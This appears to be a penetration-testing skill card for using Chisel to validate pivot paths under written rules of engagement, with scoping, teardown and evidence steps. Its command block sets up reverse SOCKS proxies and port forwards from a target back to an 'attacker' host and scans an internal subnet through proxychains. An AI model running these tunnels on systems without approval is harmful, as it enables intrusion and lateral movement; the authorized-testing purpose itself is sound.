Chisel
Purpose
Use this skill only when the rules of engagement explicitly permit tunneling or pivot-path validation across named approved systems.
Phase Fit
- Primary: Validation and Controlled Impact Demonstration
- Secondary: Retest and Closure
Use When
- Need to validate whether a segmented service is reachable through an approved pivot path.
- Need controlled SOCKS or port-forward testing across a named path.
- Need a repeatable retest after segmentation hardening.
Avoid When
- Tunneling or pivoting is not explicitly approved.
- Source, destination, or direction boundaries are unclear.
Inputs
- Approved source and destination systems
- Explicit path and direction constraints
- Stop conditions and monitoring considerations
Procedure
- Limit the tunnel to the minimum ports and hosts needed.
- Validate only the approved reachability question.
- Stop once the network path hypothesis is answered.
- Record exact server, client, and forwarding details.
- Tear down the tunnel immediately after validation.
Command Syntax
Replace sample hosts and ports with approved in-scope values.
# Start reverse-mode server on attacker
chisel server -p 8080 --reverse
# Target: create reverse SOCKS5 proxy back to attacker
chisel client 10.10.10.1:8080 R:socks
# Target: forward specific internal port to attacker
chisel client 10.10.10.1:8080 R:3306:192.168.1.100:3306
# Target: expose internal web service on attacker port 8443
chisel client 10.10.10.1:8080 R:8443:192.168.1.100:443
# Access tunnelled hosts through proxychains
# /etc/proxychains.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 192.168.1.0/24
# Bind-mode server on target (no outbound needed)
chisel server -p 9090 --socks5
chisel client 10.10.10.100:9090 socks
Evidence to Capture
- Whether the approved pivot path succeeded
- Exact source, destination, and forwarding mode used
- Minimal proof needed for remediation
Safety Boundaries
- Use only with explicit written approval.
- Keep tunnels short-lived, narrowly scoped, and fully documented.